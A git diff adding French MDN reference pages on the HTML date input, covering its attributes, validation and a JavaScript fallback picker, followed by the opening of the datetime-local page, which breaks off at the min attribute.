+<pre class="brush: html">&lt;input id="date" type="date" value="2017-06-01"&gt;</pre>
+
+<p>{{EmbedLiveSample('Valeur', 600, 40) }}</p>
+
+<p>On notera que le format d'affichage est différent de la valeur réelle de l'attribut <code>value</code> — le format de la date affichée sera déterminé en fonction de la langue utilisée par le navigateur alors que la valeur de l'attribut <code>value</code> aura toujours la forme <code>yyyy-mm-dd</code> (c'est-à-dire les quatres chiffres de l'année, suivi d'un tiret, suivi des deux chiffres pour le mois, suivi d'un tiret puis des deux chiffres pour le jour).</p>
+
+<p>On peut également récupérer la valeur de la date en JavaScript grâce à la propriété {{domxref("HTMLInputElement.value")}} :</p>
+
+<pre class="brush: js">var dateControl = document.querySelector('input[type="date"]');
+dateControl.value = '2017-06-01';</pre>
+
+<h2 id="Utiliser_les_contrôles_de_saisie_de_date">Utiliser les contrôles de saisie de date</h2>
+
+<p>Les contrôles de date semblent pratiques : ils fournissent une interface utilisateur simple afin de sélectionner des dates et normalisent la donnée saisie dans un format unique pour l'envoyer au serveur, quelle que soit la locale de l'utilisateur. Malheureusement, il y a certains problèmes de prise en charge par les navigateurs pour <code>&lt;input type="date"&gt;</code>.</p>
+
+<p>Nous verrons ici différents cas d'utilisation de <code>&lt;input type="date"&gt;</code>, simples et complexes. Puis nous verrons comment parer aux problèmes de support des navigateurs.</p>
+
+<h2 id="Attributs_supplémentaires">Attributs supplémentaires</h2>
+
+<p>En complément des attributs communs à l'ensemble des éléments {{HTMLElement("input")}}, les champs de type <code>"date"</code> gèrent les attributs suivants :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Attribut</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>{{anch("max")}}</code></td>
+   <td>La date la plus avancée qui peut être saisie.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("min")}}</code></td>
+   <td>La date la plus reculée qui peut être saisie.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("step")}}</code></td>
+   <td>Le pas à utiliser pour l'incrément quand on utilise les boutons d'augmentation/diminution. Cet incrément est également utilisé pour la validation.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="htmlattrdefmax">{{htmlattrdef("max")}}</h3>
+
+<p>La date la plus avancée qui peut être saisie dans le contrôle. Si la valeur de {{htmlattrxref("value", "input")}} est supérieure à la date indiquée par cet attribut, l'élément ne respectera pas <a href="/fr/docs/Web/Guide/HTML/HTML5/Constraint_validation">les contraintes de validation</a>. Si la valeur de l'attribut <code>max</code> n'est pas une chaîne de caractères qui suit le format <code>yyyy-MM-dd</code>, il n'y aura pas de valeur maximale.</p>
+
+<p>La valeur de cet attribut doit être une date supérieure ou égale à celle indiquée par l'attribut <code>min</code>.</p>
+
+<h3 id="htmlattrdefmin">{{htmlattrdef("min")}}</h3>
+
+<p>La date minimale qui peut être saisie dans le contrôle. Toute date saisie antérieure à celle-ci ne respectera pas <a href="/fr/docs/Web/Guide/HTML/HTML5/Constraint_validation">les contraintes de validation</a>. Si la valeur de l'attribut <code>min</code> n'est pas une chaîne de caractères qui suit le format <code>yyyy-MM-dd</code>, il n'y aura pas de valeur minimale.</p>
+
+<p>La valeur de cet attribut doit être une date antérieure ou égale à celle indiquée par l'attribut <code>max</code>.</p>
+
+<h3 id="htmlattrdefstep">{{htmlattrdef("step")}}</h3>
+
+<p>{{page("/fr/docs/Web/HTML/Element/input/number", "step-include")}}</p>
+
+<p>Pour les champs <code>date</code>, la valeur de <code>step</code> est exprimée en jours avec un facteur de multiplication de 86 400 000 (soit le nombre de millisecondes en une journée). La valeur par défaut de <code>step</code> est 1.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Utiliser <code>any</code> comme valeur pour <code>step</code> produira le même effet que la valeur <code>1</code> pour les champs <code>date</code>.</p>
+</div>
+
+<h2 id="Utilisation_des_contrôles_de_saisie_des_dates">Utilisation des contrôles de saisie des dates</h2>
+
+<p>Les champs date paraissent pratiques de prime abord : ils fournissent une interface utilisateur simple qui permet de sélectionner des dates et normalisent le format des données envoyées au serveur quelle que soit la locale de l'utilisateur. Toutefois, il existe certains problèmes avec <code>&lt;input type="date"&gt;</code> en raison de la prise en charge limitée des navigateurs.</p>
+
+<p>Dans les exemples qui suivent, nous verrons comment utiliser <code>&lt;input type="date"&gt;</code> dans des cas simples et complexes en ajoutant des conseils quant à la prise en charge des navigateurs (en espérant que celle-ci s'améliore au fur et à mesure).</p>
+
+<h3 id="Utilisation_simple">Utilisation simple</h3>
+
+<p>Dans son expression la plus simple <code>&lt;input type="date"&gt;</code> s'utilise avec un élément <code>&lt;input&gt;</code> et un élément {{htmlelement("label")}} :</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;div&gt;
+    &lt;label for="bday"&gt;Veuillez saisir votre date de naissance :&lt;/label&gt;
+    &lt;input type="date" id="bday" name="bday"&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>{{EmbedLiveSample('Utilisation_simple', 600, 40)}}</p>
+
+<h3 id="Paramétrer_une_date_maximale_et_une_date_minimale">Paramétrer une date maximale et une date minimale</h3>
+
+<p>On peut utiliser les attributs {{htmlattrxref("min", "input")}} et {{htmlattrxref("max", "input")}} afin de restreindre les dates qui peuvent être saisies par l'utilisateur. Dans l'exemple suivant, on indique un date minimum au premier avril 2017 (<code>2017-04-01</code>) et une date maximale au 30 avril 2017 (<code>2017-04-30</code>) :</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;div&gt;
+    &lt;label for="party"&gt;Veuillez choisir la meilleure date pour la soirée :&lt;/label&gt;
+    &lt;input type="date" id="party" name="party" min="2017-04-01" max="2017-04-30"&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>{{EmbedLiveSample('Paramétrer_une_date_maximale_et_une_date_minimale', 600, 40)}}</p>
+
+<p>On ne peut donc ici que sélectionner une date en avril 2017. Seule la partie du contrôle consacrée aux jours sera éditable et on ne pourra pas sélectionner d'autres mois ou années..</p>
+
+<div class="note">
+<p><strong>Note </strong>: On devrait également pouvoir utiliser l'attribut {{htmlattrxref("step", "input")}} afin de faire varier le nombre de jours pour l'incrément de la date (par exemple afin de ne pouvoir sélectionner que les samedis). Cependant, cette fonctionnalité ne semble être présente dans aucune implémentation au moment où nous écrivons ces lignes.</p>
+</div>
+
+<h3 id="Contrôler_la_taille_du_champ_de_saisie">Contrôler la taille du champ de saisie</h3>
+
+<p><code>&lt;input type="date"&gt;</code> ne permet pas d'utiliser des attributs de dimensionnement tels que {{htmlattrxref("size", "input")}}. Il est nécessaire d'utiliser <a href="/fr/docs/Web/CSS">CSS</a> pour adresser ces aspects de mise en forme.</p>
+
+<h2 id="Validation">Validation</h2>
+
+<p>Par défaut <code>&lt;input type="date"&gt;</code> n'applique pas de validation particulière aux valeurs saisies. Les interfaces utilisateur ne permettent généralement pas de saisir une valeur qui n'est pas une date ou qui est une date invalide (par exemple un 32 avril 2017).</p>
+
+<p>Si on utilise les attributs {{htmlattrxref("min", "input")}} et {{htmlattrxref("max", "input")}} afin de restreindre les dates possibles, les navigateurs qui prennent en charge cette fonctionnalité afficheront une erreur si la valeur saisie est en dehors de cet intervalle.</p>
+
+<p>De plus, si l'attribut {{htmlattrxref("required", "input")}} est actif, il sera obligatoire de saisir ce champ. Une erreur sera affichée si on essaie d'envoyer le formulaire avec un tel champ vide.</p>
+
+<p>Prenons un exemple où la date est contrainte entre deux dates et que le champ est obligatoire :</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;div&gt;
+    &lt;label for="party"&gt;Sélectionner la meilleure date (entre le premier et le 20 avril) :&lt;/label&gt;
+    &lt;input type="date" id="party" name="party" min="2017-04-01" max="2017-04-20" required&gt;
+    &lt;span class="validity"&gt;&lt;/span&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;input type="submit"&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>Si on essaie de soumettre le formulaire avec une date incomplète (ou en dehors de l'intervalle indiqué), le message affichera une erreur. Vous pouvez essayer ici :</p>
+
+<p>{{EmbedLiveSample('Validation', 600, 100)}}</p>
+
+<p>Voici une capture d'écran illustrant ce qui se produit dans un navigateur qui implémente cette fonctionnalité :</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14913/date-picker-chrome-error-message.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p>
+
+<p>Voici la feuille de style utilisée pour l'exemple. On utilise les pseudo-classes {{cssxref(":valid")}} et {{cssxref(":invalid")}} afin de mettre en forme un indicateur selon que la valeur est valide ou non. On place cet indicateur dans un élément {{htmlelement("span")}} séparé car pour Chrome, le contenu généré dans les pseudo-classes est intégré dans le contrôle du formulaire et ne peut être mis en forme ou affiché correctement.</p>
+
+<pre class="brush: css">div {
+  margin-bottom: 10px;
+  display: flex;
+  align-items: center;
+}
+
+label {
+  display: inline-block;
+  width: 300px;
+}
+
+input:invalid+span:after {
+  content: '✖';
+  padding-left: 5px;
+}
+
+input:valid+span:after {
+  content: '✓';
+  padding-left: 5px;
+}</pre>
+
+<div class="warning">
+<p><strong>Attention !</strong> La validation des valeurs du formulaire HTML par le client ne remplace pas la validation côté serveur afin de vérifier que le format est bien celui attendu. Il est tout à fait possible de modifier le code HTML afin d'outrepasser ces mécanismes de validation ou d'envoyer directement des données au serveur. Il est donc nécessaire de valider les données lorsque celles-ci parviennent au serveur afin d'éviter les effets indésirables entraînés par l'injection de données mal formatées ou malveillantes.</p>
+</div>
+
+<h2 id="Gérer_la_prise_en_charge_des_navigateurs">Gérer la prise en charge des navigateurs</h2>
+
+<p>Comme indiqué ci-avant, le principal problème qu'on rencontre avec ces contrôles est l'hétérogénéité de la prise en charge par les différents navigateurs. Par exemple, le sélecteur de date implémenté dans Firefox pour Android ressemblera à :</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14915/date-picker-fxa.png" style="display: block; margin: 0 auto;"></p>
+
+<p>Les navigateurs qui ne prennent pas en charge ces contrôles utiliseront à la place des champs texte. Toutefois, cette solution de contournement entraîne deux problèmes : le premier concerne l'homogénéité de l'interface utilisateur (le contrôle affiché ne sera pas le même) et le second concerne la gestion des données.</p>
+
+<p>C'est sur ce second point qu'il y a le plus de risques. Comme nous l'avons mentionné avant, un champ date est toujours normalisé sous la forme <code>yyyy-mm-dd</code> (les chiffres de l'année, un tiret, les chiffres du mois, un tiret, les chiffres du jour). Toutefois, pour un champ texte, les navigateurs ne reconnaissant pas le format dans lequel la date doit être écrite. Or, selon les langues, régions, pays, les personnes écrivent les dates de différentes façons. On pourrait ainsi avoir des dates écrites comme :</p>
+
+<ul>
+ <li><code>ddmmyyyy</code></li>
+ <li><code>dd/mm/yyyy</code></li>
+ <li><code>mm/dd/yyyy</code></li>
+ <li><code>dd-mm-yyyy</code></li>
+ <li><code>mm-dd-yyyy</code></li>
+</ul>
+
+<p>Une méthode permettant de parer à cette éventualité est d'utiliser l'attribut {{htmlattrxref("pattern", "input")}}. Bien que celui-ci ne soit pas utilisé pour les contrôles de saisie des dates, il peut être utilisé pour le champ texte. Voici un exemple que vous pouvez consulter dans un navigateur qui ne prend pas en charge cette fonctionnalité :</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;div&gt;
+    &lt;label for="bday"&gt;Veuillez saisir votre date de naissance :&lt;/label&gt;
+    &lt;input type="date" id="bday" name="bday" required pattern="[0-9]{4}-[0-9]{2}-[0-9]{2}"&gt;
+    &lt;span class="validity"&gt;&lt;/span&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;input type="submit"&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>{{EmbedLiveSample('Gérer_la_prise_en_charge_des_navigateurs', 600, 100)}}</p>
+
+<p>Si vous tentez d'envoyer ce formulaire, vous pourrez voir que le navigateur affiche un message d'erreur et met en évidence la valeur invalide si la valeur saisie ne correspond pas au motif <code>nnnn-nn-nn</code> (avec <code>n</code> un chiffre entre 0 et 9). Bien entendu, cela n'empêche pas de saisir des dates invalides ou mal formatées (par exemple avec le motif <code>yyyy-dd-mm</code> alors qu'on souhaiterait avoir <code>yyyy-mm-dd</code>). Il reste donc un problème.</p>
+
+<div class="hidden">
+<pre class="brush: css">div {
+  margin-bottom: 10px;
+}
+
+input:invalid + span {
+  position: relative;
+}
+
+input:invalid + span:after {
+  content: '✖';
+  position: absolute;
+  right: -18px;
+}
+
+input:valid + span {
+  position: relative;
+}
+
+input:valid + span:after {
+  content: '✓';
+  position: absolute;
+  right: -18px;
+}</pre>
+</div>
+
+<p>C'est pour cela que la meilleure solution consiste à avoir trois champs de saisie distincts à destination de l'utilisateur : un pour saisir les jours, le deuxième pour les mois et un troisième pour l'année (chacun avec un élément ({{htmlelement("select")}}). On peut également opter pour l'utilisation d'un bibliothèque JavaScript telle que <a href="https://jqueryui.com/datepicker/">le sélecteur de date jQuery (jQuery date picker)</a>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple qui suit, on crée deux éléments d'interface utilisateur afin de choisir une date : le premier qui utilise un sélecteur natif <code>&lt;input type="date"&gt;</code> et un second qui utilise trois éléments {{htmlelement("select")}}  qui permettra de choisir une date pour les anciens navigateurs qui ne prendraient pas en charge le contrôle natif.</p>
+
+<p>{{EmbedLiveSample('Exemples', 600, 100)}}</p>
+
+<p>Voici le code HTML utilisé :</p>
+
+<pre class="brush: html">&lt;form&gt;
+    &lt;div class="nativeDatePicker"&gt;
+      &lt;label for="bday"&gt;Veuillez saisir votre date de naissance :&lt;/label&gt;
+      &lt;input type="date" id="bday" name="bday"&gt;
+      &lt;span class="validity"&gt;&lt;/span&gt;
+    &lt;/div&gt;
+    &lt;p class="fallbackLabel"&gt;Veuillez saisir votre date de naissance :&lt;/p&gt;
+    &lt;div class="fallbackDatePicker"&gt;
+      &lt;span&gt;
+        &lt;label for="day"&gt;Jour :&lt;/label&gt;
+        &lt;select id="day" name="day"&gt;
+        &lt;/select&gt;
+      &lt;/span&gt;
+      &lt;span&gt;
+        &lt;label for="month"&gt;Mois :&lt;/label&gt;
+        &lt;select id="month" name="month"&gt;
+          &lt;option selected&gt;Janvier&lt;/option&gt;
+          &lt;option&gt;Février&lt;/option&gt;
+          &lt;option&gt;Mars&lt;/option&gt;
+          &lt;option&gt;Avril&lt;/option&gt;
+          &lt;option&gt;Mai&lt;/option&gt;
+          &lt;option&gt;Juin&lt;/option&gt;
+          &lt;option&gt;Juillet&lt;/option&gt;
+          &lt;option&gt;Août&lt;/option&gt;
+          &lt;option&gt;Septembre&lt;/option&gt;
+          &lt;option&gt;Octobre&lt;/option&gt;
+          &lt;option&gt;Novembre&lt;/option&gt;
+          &lt;option&gt;Décembre&lt;/option&gt;
+        &lt;/select&gt;
+      &lt;/span&gt;
+      &lt;span&gt;
+        &lt;label for="year"&gt;Année :&lt;/label&gt;
+        &lt;select id="year" name="year"&gt;
+        &lt;/select&gt;
+      &lt;/span&gt;
+    &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>Les mois sont écrits « en dur » (ce sont toujours les mêmes) alors que les valeurs pour les jours et les années sont générées dynamiquement en fonction du mois et de l'année sélectionnées (voir les commentaires ci-après qui expliquent le détail des fonctions).</p>
+
+<div class="hidden">
+<pre class="brush: css">input:invalid+span:after {
+  content: '✖';
+  padding-left: 5px;
+}
+
+input:valid+span:after {
+  content: '✓';
+  padding-left: 5px;
+}</pre>
+</div>
+
+<p>Une autre partie intéressante est celle où on détecte si le navigateur prend charge la fonctionnalité native <code>&lt;input type="date"&gt;</code>. Pour cela, on crée un nouvelle élément {{htmlelement("input")}} et on change son type en <code>date</code> puis ensuite, on vérifie immédiatement la valeur de son type : pour les navigateurs qui ne prennent pas en charge l'élément natif, ils renverront la valeur <code>text</code> car l'élément natif aura été « converti ». Dans ce cas, on masque le sélecteur natif et on affiche le sélecteur alternatif (celui qui contient les éléments {{htmlelement("select")}}).</p>
+
+<pre class="brush: js">// On définit les différentes variables
+var nativePicker = document.querySelector('.nativeDatePicker');
+var fallbackPicker = document.querySelector('.fallbackDatePicker');
+var fallbackLabel = document.querySelector('.fallbackLabel');
+
+var yearSelect = document.querySelector('#year');
+var monthSelect = document.querySelector('#month');
+var daySelect = document.querySelector('#day');
+
+// Initialement, on masque le sélecteur non-natif
+fallbackPicker.style.display = 'none';
+fallbackLabel.style.display = 'none';
+
+// On teste si l'élément &lt;input type="date"&gt;
+// se transforme en &lt;input type="text"&gt;
+var test = document.createElement('input');
+test.type = 'date';
+// Si c'est le cas, cela signifie que l'élément
+// n'est pas pris en charge et
+if(test.type === 'text') {
+  // On masque le sélecteur natif et on affiche
+  // le sélecteur avec les &lt;select&gt;
+  nativePicker.style.display = 'none';
+  fallbackPicker.style.display = 'block';
+  fallbackLabel.style.display = 'block';
+
+  // On affiche les jours et les années
+  // de façon dynamique
+  populateDays(monthSelect.value);
+  populateYears();
+}
+
+function populateDays(month) {
+  // On supprime les éléments &lt;option&gt; pour l'élément
+  // &lt;select&gt; des jours afin de pouvoir ajouter les prochains
+  while(daySelect.firstChild){
+    daySelect.removeChild(daySelect.firstChild);
+  }
+
+  // On crée une variable afin de contenir le nombre
+  // de jours à afficher
+  var dayNum;
+
+  // 31 ou 30 jours ?
+  if(month === 'Janvier' || month === 'Mars' || month === 'Mai' || month === 'Juillet' || month === 'Août' || month === 'Octobre' || month === 'Décembre') {
+    dayNum = 31;
+  } else if(month === 'Avril' || month === 'Juin' || month === 'Septembre' || month === 'Novembre') {
+    dayNum = 30;
+  } else {
+  // Si le mois est février, on calcule si l'année est bissextile
+    var year = yearSelect.value;
+    var leap = new Date(year, 1, 29).getMonth() == 1;
+    dayNum = leap ? 29 : 28;
+  }
+
+  // on ajoute le bon nombre de jours dans autant
+  // d'éléments &lt;option&gt; pour l'élément &lt;select&gt;
+  // pour la journée
+  for(i = 1; i &lt;= dayNum; i++) {
+    var option = document.createElement('option');
+    option.textContent = i;
+    daySelect.appendChild(option);
+  }
+
+  // Si le jour précédent a déjà été défini on utilise
+  // la valeur de ce jour pour daySelect afin d'éviter de
+  // réinitialiser le jour lorsqu'on change l'année
+  if(previousDay) {
+    daySelect.value = previousDay;
+
+    // Si le jour précédent correspond au dernier jour d'un mois
+    // et que le mois sélectionné possède moins de jours (par
+    // exemple en février)
+    if(daySelect.value === "") {
+      daySelect.value = previousDay - 1;
+    }
+
+    if(daySelect.value === "") {
+      daySelect.value = previousDay - 2;
+    }
+
+    if(daySelect.value === "") {
+      daySelect.value = previousDay - 3;
+    }
+  }
+}
+
+function populateYears() {
+  // On obtient l'année courante
+  var date = new Date();
+  var year = date.getFullYear();
+
+  // On affiche l'année courante et les 100 années
+  // précédentes pour l'élément &lt;select&gt; destiné à
+  // stocker l'année
+  for(var i = 0; i &lt;= 100; i++) {
+    var option = document.createElement('option');
+    option.textContent = year-i;
+    yearSelect.appendChild(option);
+  }
+}
+
+// Lorsque la valeur du mois ou de l'année est modifiée
+// on relance populateDays()
+yearSelect.onchange = function() {
+  populateDays(monthSelect.value);
+}
+
+monthSelect.onchange = function() {
+  populateDays(monthSelect.value);
+}
+
+// On conserve le jour sélectionné
+var previousDay;
+
+// On met à jour la journée utilisé précédemment
+// (voir la fin de populateDays() pour voir où
+// est utilisée cette valeur)
+daySelect.onchange = function() {
+  previousDay = daySelect.value;
+}</pre>
+
+<div class="note">
+<p><strong>Note :</strong> Attention, certaines années peuvent contenir 53 semaines ! (cf. <a href="https://en.wikipedia.org/wiki/ISO_week_date#Weeks_per_year">cet article Wikipédia</a>) Il vous faudra prendre cela en compte si vous souhaitez développer des applications réelles.</p>
+</div>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <td><strong>{{anch("Valeur")}}</strong></td>
+   <td>Une chaîne de caractères ({{domxref("DOMString")}}) qui représente une date ou qui est vide.</td>
+  </tr>
+  <tr>
+   <td><strong>Évènements</strong></td>
+   <td>{{event("change")}} et {{event("input")}}</td>
+  </tr>
+  <tr>
+   <td><strong>Attributs pris en charge</strong></td>
+   <td>{{htmlattrxref("autocomplete", "input")}}, {{htmlattrxref("list", "input")}}, {{htmlattrxref("readonly", "input")}} et  {{htmlattrxref("step", "input")}}</td>
+  </tr>
+  <tr>
+   <td><strong>Attributs IDL</strong></td>
+   <td><code>list</code>, <code>value</code>, <code>valueAsDate</code>, <code>valueAsNumber</code>.</td>
+  </tr>
+  <tr>
+   <td><strong>Méthodes</strong></td>
+   <td>{{domxref("HTMLInputElement.select", "select()")}}, {{domxref("HTMLInputElement.stepDown", "stepDown()")}}, {{domxref("HTMLInputElement.stepUp", "stepUp()")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#date-state-(type=date)', '&lt;input type="date"&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#date-state-(type=date)', '&lt;input type="date"&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("html.elements.input.input-date")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'élément générique {{HTMLElement("input")}} et l'interface DOM qu'il implémente : {{domxref("HTMLInputElement")}}</li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Les_blocs_de_formulaires_natifs#date">Un tutoriel sur les sélecteurs de date et d'heure</a></li>
+ <li><a href="/fr/docs/Web/HTML/Formats_date_heure_HTML">Les formats de date et d'heure utilisés en HTML</a></li>
+</ul>
diff --git a/files/fr/web/html/element/input/datetime-local/index.html b/files/fr/web/html/element/input/datetime-local/index.html
new file mode 100644
index 0000000000..6ac8c983c7
--- /dev/null
+++ b/files/fr/web/html/element/input/datetime-local/index.html
@@ -0,0 +1,613 @@
+---
+title: <input type="datetime-local">
+slug: Web/HTML/Element/Input/datetime-local
+tags:
+  - Date
+  - Element
+  - Formulaires
+  - HTML
+  - Input
+  - Reference
+translation_of: Web/HTML/Element/input/datetime-local
+---
+<div>{{HTMLRef}}</div>
+
+<p>Les éléments {{htmlelement("input")}} dont l'attribut <code>type</code> vaut <strong><code>"datetime-local"</code></strong> permettent de créer des champs destinés à saisir simplement une date (définie par une année, un mois, et un jour) et une heure (définie par une heure et une minute). Il n'y a pas de secondes dans ce contrôle.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/input-datetime-local.html", "tabbed-shorter")}}</div>
+
+<div class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</div>
+
+<p>L'interface utilisateur du contrôle varie selon les navigateurs. La prise en charge de cette fonctionnalité est hétérogène : Chrome/Opera et Edge l'implémentent pour les navigateurs de bureau et la plupart des navigateurs mobiles l'implémentent. Pour les navigateurs qui n'implémentent pas cette fonctionnalité, le contrôle utilisé est celui de <code><a href="/fr/docs/Web/HTML/Element/input/text">&lt;input type="text"&gt;</a></code>.</p>
+
+<p>Les secondes ne sont pas prises en charge.</p>
+
+<p>Le contrôle est spécifié afin de pouvoir représenter une heure et une date locales et <em>pas nécessairement la date et l'heure locale de l'utilisateur</em>. Autrement dit, une implémentation devrait autoriser toute combinaison valide (d'année / mois / jour / heure / minutes) même si cette combinaison n'est pas valide pour le fuseau horaire de l'utilisateur (par exemple pour les fuseaux horaires qui ne gèrent pas les heures d'été). Certains navigateurs mobiles (sur iOS par exemple) n'implémentent pas cette règle correctement.</p>
+
+<p>En raison du faible support pour <code>datetime-local</code> et des variations dans ses implémentations, mieux vaudra peut-être encore (juillet 2019) utiliser un <em>framework</em> ou une bibliothèque pour une telle saisie. Une autre option consiste à séparer les champs pour la date (<code>type="date"</code>) et pour l'heure (<code>type="heure"</code>) qui sont mieux pris en charge.</p>
+
+<p>Certains navigateurs pourront utiliser un contrôle avec un texte simple et vérifier que la valeur date/heure est correcte avant de l'envoyer au serveur. Toutefois, ce contrôle ayant lieu côté client, vous devrez nécessairement vérifier le bon format de la donnée côté serveur.</p>
+
+<p>Voici, ci-après, un aperçu du contrôle obtenu dans un navigateur fonctionnel. En cliquant sur la flèche vers le bas, cela fait apparaître un sélecteur de date et il faut ensuite saisir l'heure manuellement. Pour Chrome / Opera :</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14949/datetime-local-chrome.png" style="display: block; height: 224px; margin: 0px auto; width: 280px;"></p>
+
+<p>Pour Edge, le contrôle associé à <code>datetime-local</code> se décompose en deux sélecteurs : un pour la date et un pour l'heure qui apparaissent quand on clique sur les éléments respectifs du champ :</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14953/datetime-local-picker-edge1.png" style="display: block; height: 398px; margin: 0px auto; width: 320px;"></p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14955/datetime-local-picker-edge2.png" style="display: block; height: 394px; margin: 0px auto; width: 264px;"></p>
+
+<h2 id="Valeur">Valeur</h2>
+
+<p>Une chaîne de caractères ({{domxref("DOMString")}}) qui représente la valeur de la date saisie dans le contrôle. Le format utilisable est décrit dans <a href="/fr/docs/Web/HTML/Formats_date_heure_HTML#Représentation_des_dates_et_heures_locales">cette section de l'article sur les formats</a>. Il est possible d'indiquer une date par défaut grâce à l'attribut {{htmlattrxref("value", "input")}} :</p>
+
+<pre class="brush: html notranslate">&lt;label for="party"&gt;Veuillez saisir une date et une heure pour la fête :&lt;/label&gt;
+&lt;input id="party" type="datetime-local" name="partydate" value="2017-06-01T08:30"&gt;</pre>
+
+<p>{{EmbedLiveSample('Valeur', 600, 60)}}</p>
+
+<p>On notera ici que le format de la date affichée n'est pas celui utilisé pour écrire la valeur de l'attribut <code>value</code>. Le format d'affichage de la date sera choisi en fonction de la locale du système d'exploitation de l'utilisateur. En revanche, l'attribut <code>value</code> sera toujours formaté de la façon suivante : <code>yyyy-MM-ddThh:mm</code>. Lorsque la valeur est envoyée au serveur, elle aura donc ce format : <code>partydate=2017-06-01T08:30</code>.</p>
+
+<div class="note">
+<p><strong>Note </strong>: Attention si les données sont envoyées avec la méthode HTTP <code><a href="/fr/docs/HTTP/Méthode/GET">GET</a></code>, les deux points (:) devront être échappés pour être intégrés dans les paramètres de l'URL. Avec l'exemple précédent, cela signifie qu'on enverra <code>partydate=2017-06-01T08%3A30</code>. Si on souhaite échapper une chaîne de caractères de la même façon en JavaScript, on pourra utiliser {{jsxref("Objets_globaux/encodeURI", "encodeURI()")}}.</p>
+</div>
+
+<p>En JavaScript, Il est également possible de définir la valeur de la date utilisée dans le contrôle via la propriété {{domxref("HTMLInputElement.value")}}. Par exemple :</p>
+
+<pre class="brush: js notranslate">var dateControl = document.querySelector('input[type="datetime-local"]');
+date.value = '2017-06-01T08:30';</pre>
+
+<p>Plusieurs méthodes, fournies par JavaScript (cf. {{jsxref("Date")}}), peuvent être utilisée afin de convertir des informations numériques en une telle chaîne de caractères (par exemple la méthode {{jsxref("Date.toISOString()")}}).</p>
+
+<h2 id="Attributs_supplémentaires">Attributs supplémentaires</h2>
+
+<p>En complément des attributs communs à l'ensemble des éléments {{HTMLElement("input")}}, les champs de type <code>"date"</code> gèrent les attributs suivants :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Attribut</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>{{anch("max")}}</code></td>
+   <td>La date la plus avancée qui peut être saisie.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("min")}}</code></td>
+   <td>La date la plus reculée qui peut être saisie.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("step")}}</code></td>
+   <td>Le pas à utiliser pour l'incrément quand on utilise les boutons d'augmentation/diminution. Cet incrément est également utilisé pour la validation.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="htmlattrdefmax">{{htmlattrdef("max")}}</h3>
+
+<p>La date/heure la plus avancée qui peut être saisie dans le contrôle. Si la valeur de {{htmlattrxref("value", "input")}} est supérieure à la date indiquée par cet attribut, l'élément ne respectera pas <a href="/fr/docs/Web/Guide/HTML/HTML5/Constraint_validation">les contraintes de validation</a>. Si la valeur de l'attribut <code>max</code> n'est pas une chaîne de caractères qui suit le format <code>"yyyy-MM-ddThh:mm"</code>, il n'y aura pas de valeur maximale.</p>
+
+<p>La valeur de cet attribut doit être une date supérieure ou égale à celle indiquée par l'attribut <code>min</code>.</p>
+
+<h3 id="htmlattrdefmin">{{htmlattrdef("min")}}</h3>
+
